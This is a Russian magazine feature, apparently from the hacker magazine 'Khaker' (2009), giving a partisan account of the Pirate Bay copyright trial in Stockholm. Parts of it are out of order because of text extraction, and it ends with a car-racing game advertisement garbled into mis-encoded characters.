логотипами сайта и надписями вроде: «All your<br />

base are belong to bus». Впоследствии автобус<br />

исполнял роль штаб-квартиры, пресс-центра<br />

и комнаты отдыха. На улице «героев» уже<br />

поджидали активисты с пиратскими флагами, а<br />

само заседание вызвало такой интерес, что на<br />

него даже продавали билеты, стоимостью около<br />

$60. Ряду особенно ярых сторонников трекера<br />

таким путем удалось попасть в здание суда, где<br />

они получили возможность слушать прямую<br />

аудио-трансляцию в специально отведенной<br />

для этого комнате.<br />

Впрочем, следить за ходом событий мог и весь<br />

прогрессивный мир. На twitter.com создали тэг<br />

#spectrial, по которому легко отслеживались<br />

все нужные записи, на самом TPB появился<br />

мира. Обвинение с первого же дня постаралось<br />

представить все так, будто держатели сайта не<br />

только преступают закон, но и зарабатывают на<br />

своем детище солидные деньги, в частности,<br />

размещая на сайте рекламу. The Pirate Bay<br />

назвали «состоятельной организованной преступной<br />

группой», которая извлекала из своей<br />

деятельности весомый доход.<br />

Так, представитель интересов IFPI<br />

(международная федерация грамзаписи)<br />

Питер Дановски заявил, что обвиняемые в<br />

состоянии покрыть большую часть суммы,<br />

заявленной в иске. Питер Сунде ехидно<br />

прокомментировал этот пассаж в Твиттере:<br />

с команды The Pirate Bay сняли, потому что<br />

обвинение не сумело доказать, что представленные<br />

в качестве улик .torrent-файлы<br />

использовались на TPB. Обвинитель даже не<br />

смог объяснить, как работает уже упомянутая<br />

технология DHT, позволяющая раздавать<br />

и качать файлы в обход трекера. Таким<br />

образом, пункт о «пособничестве в нарушении<br />

авторских прав» пришлось вычеркнуть,<br />

оставив только «пособничество в предоставлении<br />

доступа». В IFPI, однако, попытались<br />

сохранить лицо и сделать вид, что «так надо».<br />

Спешно было выпущено заявление, где<br />

говорилось, что все эти технические вопросы<br />

только усложняли работу обвинения, к делу<br />

относились лишь косвенно, и вообще, — без<br />

них будет даже проще сосредоточить все<br />

внимание на основной проблеме — предоставлении<br />

доступа к защищенным копирайтом<br />

материалам. Почему-то заявлению никто<br />

не поверил, а весь интернет покатывался со<br />

смеху, полностью разделяя позицию Сунде,<br />

Чтобы поддержать TPB, шведы снова вышли на улицы<br />

Роджер Уоллис и его супруга<br />

раздел trial.thepiratebay.org, куда стекались<br />

самые последние новости, плюс заседание широко<br />

освещалось прессой и блогерами во всех<br />

возможных форматах. Аудиостримминг из зала<br />

суда переводился добровольцами на 15 языков<br />

«Если я действительно заработал всю исковую<br />

сумму, то меня, видимо, кто-то ограбил».<br />

Однако все эти громкие заявления изрядно<br />

портил тот факт, что обвинение с самого начала<br />

стало демонстрировать полную безграмотность<br />

в технических вопросах. Эксперты, путающие<br />

мегабиты с мегабайтами, дискеты с дисками и<br />

не могущие объяснить, как работает технология<br />

DHT, вряд ли имеют право называться<br />

«экспертами». И уже на второй день слушаний<br />

это действительно вышло им боком.<br />

Семнадцатое февраля принесло миру удивительную<br />

новость — половину обвинений<br />

который на этот раз отписал в Твиттере: «EPIC<br />

WINNING LOL».<br />

IFPI продолжила гнуть свое, заявив, что одна<br />

загрузка равняется одной потерянной продаже,<br />

а сумма, заявленная в иске, примерно<br />

КТО ЗАДЕЙСТВОВАН В МАССОВКЕ?<br />

Всего в иске фигурируют 4 программы,<br />

9 фильмов и 22 музыкальных<br />

произведения.<br />

Иск против The Pirate Bay поддержан<br />

следующими свидетелями<br />

обвинения:<br />

IFPI (международная федерация<br />

грамзаписи):<br />

• Sony BMG Music Entertainment<br />

Sweden AB,<br />

• Universal Music AB,<br />

• Playground Music Scandinavia AB,<br />

• Bonnier Amigo Music Group AB,<br />

• EMI Music Sweden AB,<br />

• Warner Bros. Music Sweden AB;<br />

Antipiratbyran (Антипиратское<br />

бюро Швеции):<br />

• Yellow Bird Films AB,<br />

• Nordisk Film,<br />

• Henrik Danstrup;<br />

MAQS Law Firm Advokatbyra KB:<br />

• Warner Bros. Entertainment Inc,<br />

• MGM Pictures Inc,<br />

• Columbia Pictures Industries Inc,<br />

• 20th Century Fox Films Co,<br />

• Mars Media Beteiligungs GmbH &<br />

Co Filmproduktions,<br />

• Blizzard Entertainment Inc,<br />

• Sierra Entertainment Inc,<br />

• Activision Publishing Inc.<br />

Фильмы, фигурирующие в иске:<br />

• Kurt Wallander:<br />

Wallander — Den svaga punkten<br />

Wallander — Afrikanen<br />

Wallander – Mastermind<br />

• Pusher III<br />

• Гарри Поттер и кубок огня<br />

• Розовая пантера<br />

• Переступить черту<br />

Телесериалы, фигурирующие в<br />

иске:<br />

• Prison Break (первый сезон,<br />

эпизоды 1—13)<br />

Компьютерные игры, фигурирующие<br />

в иске:<br />

• Call of Duty 2<br />

• Diablo II<br />

• F.E.A.R.<br />

• World of Warcraft<br />

074<br />

XÀÊÅÐ 04 /124/ 09


сцена<br />

равна стоимости всех лицензий, которые понадобились бы TPB для<br />

легального распространения музыки. Трекер, по сути, предложили<br />

приравнять к организациям, на которые распространяется «лицензия<br />

на глобальную дистрибуцию» (global distribution license).<br />

Согласно этому, IFPI, например, требует за песню Beatles «Let it Be»<br />

возмещения ущерба в десятикратном размере, так как музыку этой<br />

группы легально скачать из Сети невозможно. Последнее вызвало<br />

особенно много насмешек и комментариев в духе: «Вы же сами<br />

заставляете нас воровать».<br />

Особенно забавно, что в тот же день компания Sony и Антипиратское бюро<br />

Швеции (Svenska Antipiratbyran) отметили хамство, демонстрируемое TPB<br />

в общении с правообладателями. Они завели речь не только о материальных<br />

убытках, но и об ущербе, нанесенном их репутации. Был ущерб или<br />

нет — решать, разумеется, суду, но определенно, пора бы им намекнуть,<br />

что ущерб собственной репутации наносят разве что они сами, например,<br />

демонстрируя всему миру свою техническую безграмотность.<br />

ЗАЩИТА КИНГ-КОНГА Весьма сомнительным «достижением»<br />

обвинения стало и выступление адвоката от киноиндустрии Моники<br />

Вадстед (Monique Wadsted). Эта дама является активным членом секты<br />

Рона Хаббарда — «Церковь сайентологии» и часто представляет ее в<br />

суде. Упустить такой повод было никак нельзя, и на главной странице<br />

TPB появилась картинка, на которой Том Круз (тоже ярый сайентолог) и<br />

мисс Вадстед стоят в обнимку с гуманоидом Ксену (Xenu) — инопланетным<br />

властелином «Галактической Империи». Дело в том, Рон Хаббард<br />

был еще и фантастом. Согласно вере сайентологов и тому, что Хаббард<br />

описал в формате космооперы — 75 миллионов лет назад Ксену был<br />

военным диктатором и руководил «Галактической Империей». Подавляя<br />

проявления инакомыслия среди своего народа, он спровоцировал<br />

массовые протесты и, не долго думая, арестовал всех, кто принимал в<br />

них участие. Проштрафившихся привезли на планету Тиджиек, то есть,<br />

на Землю и по прибытии разметили вокруг вулканов. После этого Ксену<br />

«покарал» неверных водородными бомбами, собрал их души и внедрил<br />

в тела людей.<br />

Да, сайентологи на самом деле в это верят и еще запрещают нам ковыряться<br />

в носу, то есть, качать файлы. Кстати, отдельного упоминания<br />

достойно и то, что на главной странице трекера Ксену предстал в том<br />

же образе, каким его нарисовали создатели сериала South Park. А из<br />

фамилии Моники пропала буква «D» (получившееся слово «wasted»<br />

переводится как «напрасная трата»).<br />

Как выяснилось позже, поклонниками «Южного парка» оказались не<br />

только подсудимые, но и, по крайней мере, один из их адвокатов. Получив<br />

от суда слово, защита проводила аналогии с Google, утверждая,<br />

что .torrent-файлы не принадлежат TPB, а трекер просто исполняет<br />

роль поисковика. К тому же, в ЕС провайдер не несет ответственности<br />

за передаваемый контент, если сам не является инициатором<br />

раздачи. И когда очередь дошла до адвоката Лундстрема — Пера<br />

Самуэльсона, он сделал то, что тут же получило название «защита<br />

Кинг-конга». Это — прямая отсылка к «Южному парку», где в одном из<br />

эпизодов демонстрировалась «защита Чубакки». Суть этой стратегии<br />

можно охарактеризовать, как «кто-то доказывает свою точку зрения с<br />

помощью утверждений настолько абсурдных, что сознание слушателя<br />

отключается» (с) Эллис Уинер. В South park адвокат показывал<br />

присяжным изображение Чубакки и спрашивал, почему большой,<br />

двухметровый вуки Чубакка живет на Эндоре вместе с маленькими<br />

эвоками? Потом адвокат говорил, что — во время суда по делу об<br />

авторском праве он завел разговор о Чубакке, а в этом нет никакого<br />

смысла. А значит, и в самом деле нет никакого смысла, и, раз Чубакка<br />

живет на Эндоре, подсудимого надо оправдать.<br />

Самуэльсон же сказал следующее: «Инструкция ЕС 2000/31/EG<br />

гласит, что провайдер информационных услуг не несет ответственности<br />

за передаваемые данные. Ответственность наступает лишь<br />

в случае, если провайдер сам инициирует передачу, но администраторы<br />

The Pirate Bay этого не делали. Это делали пользователи<br />

— живые люди, которых можно идентифицировать. Они называют<br />

себя именами вроде Кинг-Конг. ...Согласно букве закона, обвинения<br />

должны быть направлены против конкретного человека, а<br />

Антипиратская демонстрация, 2006 год<br />

XÀÊÅÐ 04 /124/ 09<br />

Адвокаты защиты. Слева направо: Питер Алсин, Йонас Нилльсон, Ола<br />

Соломонссон<br />

между преступником и соучастниками должна прослеживаться<br />

очевидная связь. Такой связи представлено не было. Прокурор<br />

должен доказать, что Карл Лундстрем лично общался с пользователем<br />

Кинг-Конгом, который вполне может находиться, например,<br />

где-нибудь в джунглях Камбоджи».<br />

Далее суд, наконец, добрался до самих обвиняемых, и начались<br />

допросы, в ходе которых Лундстрема пытались представить хозяином<br />

и спонсором TPB, ведь он даже оплачивал из своего кармана оборудование<br />

для «Бухты». Лундстрем парировал, сказав, что в будущем<br />

действительно планировал покрыть эти убытки, размещая рекламу на<br />

сайте, но никогда не стремился стать полноправным партнером ребят по<br />

проекту и уж точно — не участвовал в деятельности TPB из политических<br />

соображений. Более того, защита еще раз подчеркнула, что, с точки<br />

зрения шведского законодательства, деятельность трекера абсолютно<br />

легальна, так как на серверах TPB не хранится файлов, нарушающих<br />

чьи-либо права на интеллектуальную собственность. А значит, Лундстрем<br />

действовал как обычный бизнесмен, не больше и не меньше.<br />

В отношении троих админов — обвинение пыталось расставить точки<br />

на i и выяснить, какую роль в жизни сайта играет каждый из них. Плюс,<br />

их старались подловить, выпытывая, знали ли они, что через их ресурс<br />

проходит огромное количество нелегальных материалов, и, если да, то<br />

почему ничего в этой связи не предпринимали. Защита ответствовала,<br />

что из 1000 случайных торрентов, взятых с TPB, 80% не нарушали копи-<br />

075


сцена<br />

райтов, и снова посоветовала обвинению обратить внимание на Google,<br />

при помощи которого можно найти гораздо больше контрафакта, или<br />

на YouTube, где нелегален едва ли не каждый второй ролик. Сделали и<br />

акцент и на том, что для обмена .torrent-файлами нет необходимости<br />

пользоваться The Pirate Bay, ведь с тем же успехом .torrent-файл можно<br />

выложить на FTP или прислать по электронной почте.<br />

Так же обвинение затронуло серьезный вопрос о детской порнографии,<br />

уже ставший любимым пугалом нашего времени. Админы честно<br />

ответили, что обо всех обнаруженных раздачах такого рода сообщают в<br />

полицию. Обвинение попыталось настаивать и уточнило — удаляются<br />

ли такие раздачи с ресурса? Готтфрид ответил: «Некоторые», и тут же<br />

был вынужден пояснить, что самостоятельно расследованием таких<br />

случаев администрация TPB заниматься не может, поэтому передает<br />

данные полиции, и если полиция, в свою очередь, просит удалить<br />

торрент, то он удаляется.<br />

Вообще, обвинение опять демонстрировало себя не с самой<br />

выгодной стороны. Например, несколько раз обвинители попытались<br />

приобщить к делу не заявленные ранее улики, нарушая<br />

протокол. В итоге, суд вообще был вынужден сделать выговор<br />

адвокатам со стороны обвинения и попросить их перестать<br />

вести себя, как в американском суде. Так, мисс Вадстед до этого<br />

попыталась просто перекричать судью, а представляющий IFPI<br />

Питер Дановски порывался упирать на политическую подоплеку<br />

происходящего. Он цитировал некоторые записи Питера Сунде,<br />

сделанные им в личном блоге Brokep.com, и задавал вопросы<br />

относительно его доклада, который носил характерное название:<br />

«Как разоружить миллиардную индустрию».<br />

Черту под первой неделей слушаний подвела, опять же, мисс Вадстед,<br />

поинтересовавшаяся у Карла Лундстрема, почему он, солидный бизнесмен<br />

48 лет, вообще общается с молодыми ребятами из команды TPB?<br />

Адвокат Лундстрема заявил, что его клиент не станет отвечать на этот<br />

вопрос, после чего в заседании был объявлен перерыв.<br />

ВТОРОЙ РАУНД: ДЕНЬГИ VS ЛОГИКА Вторая неделя не<br />

принесла кардинальных перемен в стратегиях сторон. Обвинение<br />

по-прежнему заставляло весь мир недоуменно вопрошать: «Они это<br />

серьезно?», а защита держалась уверенно и ровно. Открыли слушания<br />

показания двух свидетелей со стороны обвинения: Магнуса Мартенссона<br />

(Magnus Martensson) — юриста из IFPI, который уже 15 лет специализируется<br />

на нарушении авторских прав, и Андерса Нильссона (Anders<br />

Nilsson) — полицейского из Антипиратского бюро. Оба, по заданию<br />

«сверху», в целях эксперимента, скачивали нелегальные материалы<br />

с TPB, о чем и поведали суду, предоставив в качестве доказательств...<br />

скриншоты. Обвинение в очередной раз село в лужу, и помог ему Готтфрид<br />

Свартхольм. Он задал свидетелю один простой вопрос, спровоцировав<br />

нижеследующий диалог.<br />

Готтфрид: Перед тем, как сделать скриншот, вы отключили DHT и Peer<br />

Exchange?<br />

Мартенссон: DHT явно был включен. Я же хотел походить на обычного<br />

пользователя.<br />

Готтфрид: Говоря другими словами, вы не могли проверить, использовался<br />

ли трекер?<br />

Мартенссон: Адрес трекера присутствовал на экране. Исходя из этого, я<br />

предположил, что он каким-то образом используется.<br />

Готтфрид: Но, раз у вас был включен DHT, значит, вы не можете доказать,<br />

что использовали при скачивании файлов трекер The Pirate Bay или нет?<br />

Мартенссон: Нет.<br />

Со вторым свидетелем все повторилось, — он тоже не смог представить<br />

нормальных доказательств, что «Пиратская бухта» участвовала в процессе<br />

скачивания файлов. Выяснилось, что никаких логов у обвинения<br />

нет, закачка нелегального контента никак не протоколировалась, не считая<br />

упомянутых картинок. Защита, довольная результатом, не преминула<br />

подчеркнуть, что TPB не является начальной точкой распространения<br />

контрафактной продукции, и все упомянутые материалы можно было<br />

скачать из Сети и ранее.<br />

Настоящим «звездным днем» процесса стало 25-е февраля. В этот<br />

Моника Вадстед без Тома Круза и Ксену<br />

день показания давали сильные мира сего лично. В суд явились: Джон<br />

Кеннеди (John Kennedy), генеральный директор IFPI; Пер Сундин (Per<br />

Sundin), генеральный директор Universal Music; Бертил Санндгрен<br />

(Bertil Sandgren), один из директоров «Шведского института кинематографии»<br />

(Svenska Filminstitutet) и Людвиг Вернер (Ludwig Werner) из<br />

шведского представительства IFPI.<br />

Говорили они на удивление однообразно, по одинаковой схеме. Сначала<br />

в красках описывали, какие чудовищные убытки наносит им файлообмен,<br />

как из-за этого страдают продажи, хотя интерес к музыке, напротив,<br />

растет, и так далее. Суть речей сводилась к одному: «как же нам надоели<br />

ваши интернеты, вот бы их все взять и закрыть». Но как только упомянутым<br />

господам начинали задавать вопросы по существу и просили<br />

хотя бы обрисовать механизм работы торрента, можно было видеть уже<br />

привычную картину — полное непонимание и бессвязные отговорки.<br />

Вменяемого ответа на вопрос, как можно обвинять в чем-то The Pirate<br />

Bay, не понимая даже базовых принципов его работы, тоже добиться, не<br />

удалось. Магнаты вместо этого апеллировали «фактами» в духе: «я знаю,<br />

что через thepiratebay.org нелегально распространяют музыку» (откуда<br />

взялось это знание — загадка), или: «50% убытков медиа-корпорации<br />

несут из-за деятельности thepiratebay.org». По поводу последнего Сунде<br />

прокомментировал в Твиттере: «Шикарно, теперь осталось только доказать<br />

влияние пиратов на климат».<br />

Почему обвинение с таким небрежением отнеслось к подготовке и продолжало<br />

допускать настолько глупые промахи, решительно непонятно.<br />

Со стороны все это походило на фарс или комедию абсурда. В итоге, первого<br />

грамотного специалиста (не считая, конечно, самих обвиняемых)<br />

суду удалось увидеть только на 9-й день разбирательства. И, разумеется,<br />

им стал свидетель защиты.<br />

Хотя правильнее будет сказать, что первого вменяемого специалиста суд<br />

не увидел, а услышал — с Кристофером Шоллином (Kristoffer Schollin),<br />

доктором философии из Университета Гетеборга, связались по телефону.<br />

Разговор продолжался почти два часа, и Шоллин успел популярно<br />

рассказать и о работе технологии BitTorrent, и о том, что сами по себе<br />

торрент-клиенты и трекеры безвредны и даже удобны, недаром ими<br />

пользуются такие огромные корпорации, как Intel или Blizzard. Также<br />

Кристофер поделился мыслью, что трекеры, по сути, исполняющие<br />

сейчас роль поисковиков торрентов, вскоре исчезнут вовсе. Поиск будет<br />

производиться прямо из клиентской программы, или же через Google,<br />

который на текущий момент прекрасно справляется с этой задачей.<br />

ЦВЕТОЧНАЯ БУРЯ После Кристофера Шоллина слово перешло<br />

ко второму свидетелю защиты, совершенно потрясающему человеку и<br />

настоящему герою процесса — Роджеру Уоллису (Roger Wallis), профессору<br />

Королевского технологического института. Роджеру сейчас 68 лет и 40 из<br />

076<br />

XÀÊÅÐ 04 /124/ 09


сцена<br />

знали, что на следующий день после визита в суд профессор Уоллис и<br />

его жена Йорель как раз собирались отметить 39-ю годовщину своей<br />

свадьбы. Когда это открылось, поток флоры хлынул с удвоенной силой :).<br />

К вечеру праздничного дня чета получила цветов на сумму почти 6.000<br />

евро. Смеясь, они советовали активистам начинать слать вазы, потому<br />

что вся тара в доме уже закончилась.<br />

Карл Лундстрем<br />

«КАК ЖЕ НАМ НАДОЕЛИ ВАШИ<br />

ИНТЕРНЕТЫ, ВОТ БЫ ИХ ВСЕ<br />

ВЗЯТЬ И ЗАКРЫТЬ».<br />

них он потратил на исследования в сфере новых технологий. Он является<br />

автором ряда книг и исследований, а также входит в совет правительства<br />

по вопросам IT. Помимо перечисленного, Уоллис успел стать композитором,<br />

автором песни, с которой Швеция выступала в 1969 на Евровидение, и<br />

основателем рекорд-компании.<br />

Его взвешенные, подкрепленные цифрами и знанием темы аргументы<br />

настолько взбудоражили обвинителей, что допрос они вели в откровенно<br />

хамской манере. Роджер сказал, что никогда не слышал об исследованиях,<br />

согласно которым запрет файлообмена мог бы привести к росту продаж<br />

CD-дисков. Он заметил, что продажи падают отнюдь не только из-за пиратов,<br />

но и потому что устаревают сами носители информации. Прогресс — чудовищная<br />

сила, люди переходят на mp3-плееры, потому что это удобно, и они<br />

предпочитают качать файлы из Сети, потому что это тоже удобно и быстро.<br />

Уоллис даже осмелился заговорить о пользе файлообмена. Он сослался на<br />

свои исследования 3-летней давности, которые однозначно свидетельствуют<br />

— люди, качающие файлы из Сети, покупают больше других и гораздо<br />

чаще посещают концерты. То есть, денежные потоки никуда не исчезли, они<br />

просто сменили русло, и теперь деньги идут в обход длинной цепочки продюсеров,<br />

рекорд-компаний и иже с ними (к огромному неудовольствию последних).<br />

Роджер не оставил без внимания и тот факт, что в Швеции существует<br />

специальный налог на каждый проданный mp3-плеер или «болванку», благодаря<br />

которому правообладатели все равно получают свое, сколько бы они<br />

ни пытались доказать обратное. В ответ на это обвинение не нашло ничего<br />

лучше, как попытаться поставить под сомнение степень профессора и<br />

засыпать его оскорбительными вопросами личного характера. Обвинители<br />

вели себя настолько некорректно, что судья даже посоветовал Уоллису<br />

подать в суд на представителя «Антипиратского бюро» Хенрика Понтена, и<br />

поинтересовался, не желает ли Роджер получить какую-то компенсацию.<br />

В ответ Уоллис пошутил, сказав: «Пошлите моей жене цветы».<br />

Вряд ли Роджер предполагал, что с тысячи людей по всему миру, пристально<br />

следящие за ходом процесса в онлайне, воспримут его шутку<br />

как сигнал к действию и моментально организуют спецоперацию-флешмоб<br />

под названием flowerstorm — «цветочная буря». Волна позитива,<br />

воплотившегося в цветочных букетах, буквально захлестнула пожилую<br />

пару — цветы начали приносить уже спустя пару часов после оброненной<br />

Уоллисом фразы. Интернет готов был носить его на руках, после<br />

настолько смелого и сильного выступления. И вряд ли флешмоберы<br />

XÀÊÅÐ 04 /124/ 09<br />

FINITA LA COMEDIA После светлого эпизода с «цветочной бурей»<br />

наступила черная полоса. Допросив Уоллиса, обвинители переключились<br />

на Готтфрида и Фредрика. Теперь речь шла не о TPB — просто на этих двоих<br />

обвинению удалось раскопать компромат. У Готтфрида еще при рейде в<br />

2006 году нашли марихуану и амфетамины, а Нейж якобы успел поучаствовать<br />

в краже со взломом в 2002. Дело Фредерика на сегодня уже закрыто,<br />

да и ничего серьезного там, судя по всему, не было — в нетрезвом виде<br />

выломали дверь у какого-то знакомого и зачем-то унесли его компьютер,<br />

который потом и обнаружился у Нейжа. У Готтфрида все выглядит серьезнее,<br />

так как это уже «хранение наркотиков», но Свартхольм, разумеется,<br />

все отрицает, ссылаясь на гостей, которые часто у него останавливаются.<br />

Последующие два дня обвинение и защита поочередно подводили<br />

итоги, обращаясь к суду с финальными речами. Ничего нового, в общемто,<br />

не прозвучало. Обвинение, сгущая краски, живописало мистические<br />

миллионные доходы команды TPB и вещало о «вреде интернетов» и<br />

файлообмена, требуя посадить обвиняемых хотя бы на год. Не преминули<br />

представители Голливуда и снова пройтись по Роджеру Уоллису,<br />

теперь уже за глаза облив профессора грязью. Защита, в свою очередь,<br />

указала на чудовищные дыры в стратегии обвинителей, еще раз<br />

популярно объяснив, что на серверах «Пиратской бухты» нет никакого<br />

контрафакта и напомнив о Шведском законодательстве, согласно<br />

которому трекер — чист. Говорили защитники и о прогрессе, и о том, что<br />

нельзя отказываться от новых технологий лишь потому, что какой-то<br />

процент населения может использовать их в преступных целях. Было<br />

замечено, что четверке так и не предъявили никаких личных обвинений,<br />

и осталось совершенно неясно, кто и что именно нарушал. Более того,<br />

адвокат Питера Сунде — Питер Алсин — заявил, что сделает все, чтобы<br />

восстановить репутацию Роджера Уоллиса, чьи данные, по его мнению,<br />

были достовернее отчетов IFPI.<br />

Суд сообщил, что огласит вердикт 17-го апреля в 13:00 по московскому<br />

времени, и заседание закрылось.<br />

Каково будет решение суда — неизвестно, но у ребят есть все шансы выиграть<br />

это дело, создав совершенно уникальный прецедент, на который<br />

потом будут опираться по всему миру.<br />

Правы ли они, и так ли уж беспочвенны выдвинутые против них<br />

обвинения? В конце концов, на TPB действительно есть реклама,<br />

приносящая администрации сайта определенный доход (пусть и не<br />

те золотые горы, о которых шла речь), а через трекер действительно<br />

проходит прорва контрафакта. На эти вопросы очень сложно ответить,<br />

потому что они затрагивают всю сложившуюся систему защиты<br />

авторских прав и прав на интеллектуальную собственность в целом.<br />

Сложно поспорить с тем, что система действительно устарела, а<br />

законы в США чудовищны. Сложно не видеть, что медиа-холдинги<br />

США тесно связаны с политикой и стремятся расширить свое влияние<br />

на Европу, повернув тамошнюю ситуацию аналогичным образом.<br />

Голливуд и компания сейчас активно сражаются с ветряными мельницами<br />

прогресса, демонстрируя при этом как откровенное неуважение<br />

к конечным пользователям собственной продукции, так и полную<br />

техническую безграмотность. Просто почитав сводки о процессе<br />

по делу TPB, задумываешься, — и почему я должен платить ЭТИМ<br />

людям? Не авторам музыки, не актерам и не режиссерам фильмов, а<br />

вот этим безграмотным хамам, которые стоят у руля индустрии и не<br />

желают сдавать позиций. Конечно, призывать к повальной халяве и<br />

анархии в Сети тоже глупо. Хочется верить, что The Pirate Bay сможет<br />

создать прецедент, который со временем позволит изменить существующую<br />

драконовскую систему и поможет информационному обмену<br />

стать свободнее. И, пожалуй, не столь уж важно, сколько админы TPB<br />

заработали на рекламе — их вклад в «освобождение информации» в<br />

любом случае сложно переоценить. z<br />

077


Ðåêëàìà<br />

MAXI Racing


Ñïîíñîðû ðóáðèêè<br />

Æóðíàë MAXI tuning ñîâìåñòíî<br />

ñ îäíèì èç ëèäåðîâ Car Audio &<br />

Mobile Media – êîìïàíèåé Alpine,<br />

à òàêæå Opel, ðàçâëåêàòåëüíûì<br />

ïîðòàëîì MSN.ru è ñòðàõîâûì ïàðòíåðîì ÐÎÑÍÎ<br />

ïðåäñòàâëÿþò ñàìûé óâëåêàòåëüíûé ïðîåêò ãîäà.<br />

Èãðà MAXI Racing – ýòî âèðòóàëüíûé ñèìóëÿòîð<br />

ãîíîê íà 402 ìåòðà. Ýòî ïüÿíÿùàÿ ñìåñü àçàðòà,<br />

ðèñêà, ñêîðîñòè è áåñêîíå÷íîãî òþíèíãà. Ïðèøëî<br />

âðåìÿ MAXI Racing!<br />

Äëÿ òîãî ÷òîáû ïîïàñòü â ýòîò èãðîâîé ìèð òåáå<br />

íåîáõîäèìû ëèøü Èíòåðíåò è íåìíîãî ñâîáîäíîãî<br />

âðåìåíè. Ïåðåä òåì, êàê îùóòèòü âêóñ ïîáåä,<br />

ñìåëîñòü ïðîòèâíèêîâ è ðàçìåð âûèãðûøà, òåáå<br />

íåîáõîäèìî ëèøü ïðîéòè íåñëîæíóþ ðåãèñòðàöèþ<br />

íà ñàéòå èãðû, óêàçàâ ñâîè ïåðñîíàëüíûå äàííûå.<br />

Çàòåì â òâîåì ðàñïîðÿæåíèè îêàçûâàþòñÿ ïðîñòîðíûé<br />

ãàðàæ è íåáîëüøîé ïåðâîíà÷àëüíûé êàïèòàë,<br />

êîòîðûé äàñò òåáå âîçìîæíîñòü ïðèîáðåñòè àâòîìîáèëü!<br />

 âèðòóàëüíîì àâòîìàãàçèíå (à èìåííî<br />

òóäà òû è äîëæåí îòïðàâèòüñÿ) äëÿ òåáÿ ñìîäåëèðîâàíû<br />

âñå ïðåäñòàâèòåëè «çàðÿæåííîé» ñåðèè<br />

OPC îò Opel! Òàì æå òû ìîæåøü îçíàêîìèòüñÿ ñ<br />

òåõíè÷åñêèìè õàðàêòåðèñòèêàìè êàæäîé èç íèõ.<br />

Ýòè àâòî äåéñòâèòåëüíî î÷åíü õîðîøè â äåëå! Íî,<br />

ïðè âñåì áîãàòñòâå âûáîðà êóïèòü ñàìûé äîðîãîé<br />

è ìîùíûé âàðèàíò âðîäå Opel Vectra OPC èëè<br />

Zafira OPC òåáå ñðàçó íå óäàñòñÿ. Ïîýòîìó íà÷èíàòü,<br />

ñêîðåå âñåãî, ïðèäåòñÿ ñ ìàëûøà Opel Corsà.<br />

Ïîñëå ïðèîáðåòåíèÿ àâòî íàñòàåò ñàìîå âàæíîå<br />

äëÿ òåáÿ äåéñòâî – òþíèíã. Âñå äåòàëè â èãðå<br />

ïîäåëåíû íå òîëüêî ïî îáëàñòè ïðèìåíåíèÿ,<br />

íî è ïî ñòåïåíè êðóòèçíû è âàæíîñòè. Äëÿ òîãî<br />

÷òîáû ïðèîáðåñòè ïîíðàâèâøèéñÿ òþíèíãîâûé<br />

êîìïîíåíò, íåîáõîäèìî âñåãî ëèøü êëèêíóòü ïî<br />

íåìó ìûøêîé â îêíå ìàãàçèíà çàï÷àñòåé, è îí<br />

àâòîìàòè÷åñêè áóäåò óñòàíîâëåí íà òâîé àâòîìîáèëü.<br />

Âñå î÷åíü ïðîñòî! Ðàçóìååòñÿ, âûáîð áóäåò<br />

îãðàíè÷åí ñòàðòîâîé ñóììîé, êîòîðàÿ íå ïîçâîëèò<br />

òåáå âíåäðèòü âñå ñàìîå êðóòîå. Ïîýòîìó âûáèðàé<br />

ãðàìîòíî. Â ïðîöåññå òþíèíãà íå îáõîäè ñòîðîíîé<br />

ôèðìåííûé ìàãàçèí Alpine, ñìîäåëèðîâàííûé â<br />

èãðå! Ñïåöèàëüíî ðàçðàáîòàííûå ìóëüòèìåäèéíûå<br />

ñèñòåìû, êîòîðûå òåáå ïðåäëîæàò óñòàíîâèòü â<br />

àâòîìîáèëü, ïîìîãóò ïðèáëèçèòüñÿ ê æåëàåìîé<br />

ïîáåäå â ãîíêå. Äëÿ êàæäîé ìîäåëè àâòîìîáèëÿ<br />

ñóùåñòâóåò ñâîé âàðèàíò èíñòàëëÿöèè: ÷òîáû ïîðàäîâàòü<br />

òåáÿ ñóìàñøåäøèì çâóêîì è âïå÷àòëÿþùèì<br />

âèäåî, ñïåöèàëèñòû Alpine ïîñòàðàëèñü íà ñëàâó.<br />

 çàâèñèìîñòè îò óðîâíÿ ñèñòåìû – «Ëþáèòåëü»,<br />

«Ìàñòåð» èëè «Ýêñïåðò» – âîçðàñòàåò óðîâåíü<br />

àäðåíàëèíà, à, ñëåäîâàòåëüíî, è òâîé àçàðò è âåçó-<br />

÷åñòü â ãîíêå. Êîíå÷íî æå, ÷åì êðó÷å ñèñòåìà, òåì<br />

îíà äîðîæå, íî âåäü çà ïîáåäó â çàåçäå íå æàëêî<br />

íèêàêèõ äåíåã. Êðîìå òîãî, êàæäûé ìåñÿö ó òåáÿ<br />

áóäåò âîçìîæíîñòü ïîó÷àñòâîâàòü â ñïîíñîðñêèõ<br />

«Ñóïåðêóáêàõ Alpine»! Òîëüêî â äíè ïðîâåäåíèÿ<br />

êóáêà â «Ìàãàçèíå Alpine» òåáå îòêðîåòñÿ ñåêðåòíûé<br />

ðàçäåë ñ ñóïåðêîìïëåêòîì AlpineF#1Status.<br />

Ýòà âåùü åùå áîëüøå óâåëè÷èò òâîè øàíñû íà<br />

ïîáåäó – äî äåñÿòè ðàç!<br />

Êðîìå òîãî, îäèí èç ëèäåðîâ ðîññèéñêîãî ðûíêà<br />

ñòðàõîâàíèÿ, êîìïàíèÿ ÐÎÑÍÎ ïðåäîñòàâëÿåò<br />

òåáå øàíñ âûèãðàòü ñåðòèôèêàò, ïîçâîëÿþùèé ïîëó÷èòü<br />

ñêèäêó äî 50 000 ðóáëåé íà ïðèîáðåòåíèå<br />

ïîëèñà ÊÀÑÊÎ! Äëÿ ýòîãî íåîáõîäèìî âñåãî ëèøü<br />

çàðåãèñòðèðîâàòüñÿ â ñïåöèàëüíîì îêîøêå «Âûèãðàé<br />

ñòðàõîâîé ñåðòèôèêàò ÐÎÑÍλ â âèðòóàëüíîì<br />

àâòîìàãàçèíå.<br />

Âñå ÿñíî? Òîãäà èäåì äàëüøå. Äëÿ òîãî ÷òîáû ïðåòåíäîâàòü<br />

íà ñàìîå ëó÷øåå è äîðîãîå, òåáå íóæíû<br />

äåíüãè. Çàðàáîòàòü èõ â èãðå ìîæíî òîëüêî îäíèì<br />

ñïîñîáîì – ó÷àñòèåì â çàåçäàõ. Çàåçäû ìîãóò<br />

áûòü êàê ñïîíñîðñêèìè (â ðàìêàõ ñóïåðêóáêîâ<br />

